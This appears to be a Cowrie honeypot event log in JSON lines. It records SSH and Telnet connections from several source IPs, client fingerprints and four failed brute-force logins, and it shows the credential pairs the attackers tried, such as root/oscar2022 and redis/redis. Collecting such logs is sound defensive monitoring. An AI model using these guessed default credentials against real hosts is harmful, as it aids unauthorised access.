{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.750731Z","src_ip":"103.91.246.101","session":"4d97a917e1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.761891Z","src_ip":"172.236.228.39","session":"df2ddd49c8c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.39","src_port":30158,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f165590c692","protocol":"ssh","message":"New connection: 172.236.228.39:30158 (159.203.135.109:22) [session: 7f165590c692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.813382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.819101Z","src_ip":"172.236.228.39","session":"7f165590c692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.883862Z","src_ip":"172.236.228.39","session":"7f165590c692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.962993Z","src_ip":"172.236.228.39","session":"7f165590c692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.39","src_port":30164,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b083d15d504","protocol":"ssh","message":"New connection: 172.236.228.39:30164 (159.203.135.109:22) [session: 2b083d15d504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:03.022030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:03.029099Z","src_ip":"172.236.228.39","session":"2b083d15d504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:03.094699Z","src_ip":"172.236.228.39","session":"2b083d15d504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:03.179325Z","src_ip":"172.236.228.39","session":"2b083d15d504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oscar2022","message":"login attempt [root/oscar2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:03.652914Z","src_ip":"103.91.246.101","session":"4d97a917e1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.00185465812683,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:04.165979Z","src_ip":"152.42.224.71","session":"82d4b56fee28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.84708261489868,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:04.186632Z","src_ip":"152.42.224.71","session":"f5873a388759","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:04.875627Z","src_ip":"103.91.246.101","session":"4d97a917e1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.85440158843994,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:05.607565Z","src_ip":"152.42.224.71","session":"a70515352a98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33964,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9f7e610893c","protocol":"telnet","message":"New connection: 152.42.224.71:33964 (10.17.0.5:23) [session: b9f7e610893c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:07.392431Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42378,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6883134d6d2","protocol":"ssh","message":"New connection: 31.40.204.166:42378 (159.203.135.109:22) [session: d6883134d6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:11.985206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:12.003981Z","src_ip":"31.40.204.166","session":"d6883134d6d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:12.305685Z","src_ip":"31.40.204.166","session":"d6883134d6d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:12.904816Z","src_ip":"31.40.204.166","session":"d6883134d6d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:14.100106Z","src_ip":"31.40.204.166","session":"d6883134d6d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":58960,"dst_ip":"10.17.0.5","dst_port":22,"session":"e97e689516dd","protocol":"ssh","message":"New connection: 182.93.50.90:58960 (10.17.0.5:22) [session: e97e689516dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:17.446451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:17.449515Z","src_ip":"182.93.50.90","session":"e97e689516dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:17.668169Z","src_ip":"182.93.50.90","session":"e97e689516dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49352,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c7d967b4d6","protocol":"telnet","message":"New connection: 152.42.224.71:49352 (10.17.0.5:23) [session: 40c7d967b4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:17.857092Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"boyun2019","message":"login attempt [root/boyun2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:18.573718Z","src_ip":"182.93.50.90","session":"e97e689516dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49366,"dst_ip":"10.17.0.5","dst_port":23,"session":"02fab5d71991","protocol":"telnet","message":"New connection: 152.42.224.71:49366 (10.17.0.5:23) [session: 02fab5d71991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:19.110266Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49376,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3383d45c5e2","protocol":"telnet","message":"New connection: 152.42.224.71:49376 (10.17.0.5:23) [session: a3383d45c5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:19.270932Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:19.795503Z","src_ip":"182.93.50.90","session":"e97e689516dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49390,"dst_ip":"10.17.0.5","dst_port":23,"session":"a13c5db0343d","protocol":"telnet","message":"New connection: 152.42.224.71:49390 (10.17.0.5:23) [session: a13c5db0343d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:20.666700Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53820,"dst_ip":"159.203.135.109","dst_port":22,"session":"de96e90cfa17","protocol":"ssh","message":"New connection: 31.40.204.166:53820 (159.203.135.109:22) [session: de96e90cfa17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:23.885305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:23.901332Z","src_ip":"31.40.204.166","session":"de96e90cfa17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.37348294258118,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:23.935946Z","src_ip":"152.42.224.71","session":"91d3b70b474d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:24.016548Z","src_ip":"31.40.204.166","session":"de96e90cfa17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":53352,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d0a37e713c0","protocol":"ssh","message":"New connection: 47.237.167.49:53352 (159.203.135.109:22) [session: 6d0a37e713c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:24.320839Z"}
{"eventid":"cowrie.session.closed","duration":29.712723970413208,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:24.913285Z","src_ip":"152.42.224.71","session":"f5342d3d4cc1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:25.107221Z","src_ip":"31.40.204.166","session":"de96e90cfa17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59694,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd37f62f0f19","protocol":"telnet","message":"New connection: 152.42.224.71:59694 (10.17.0.5:23) [session: bd37f62f0f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:26.078211Z"}
{"eventid":"cowrie.session.closed","duration":54.69034481048584,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:26.270005Z","src_ip":"152.42.224.71","session":"e27c9e7397f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:26.393429Z","src_ip":"31.40.204.166","session":"de96e90cfa17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.60853886604309,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:27.918951Z","src_ip":"152.42.224.71","session":"795f2f545cce","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:28.359625Z","src_ip":"47.237.167.49","session":"6d0a37e713c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:28.594744Z","src_ip":"47.237.167.49","session":"6d0a37e713c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59698,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c5b3eb1e47e","protocol":"telnet","message":"New connection: 152.42.224.71:59698 (10.17.0.5:23) [session: 8c5b3eb1e47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:28.638754Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.161.29.98","src_port":36822,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dff02be85b1","protocol":"ssh","message":"New connection: 14.161.29.98:36822 (10.17.0.5:22) [session: 4dff02be85b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:29.998086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:30.003437Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:30.251133Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
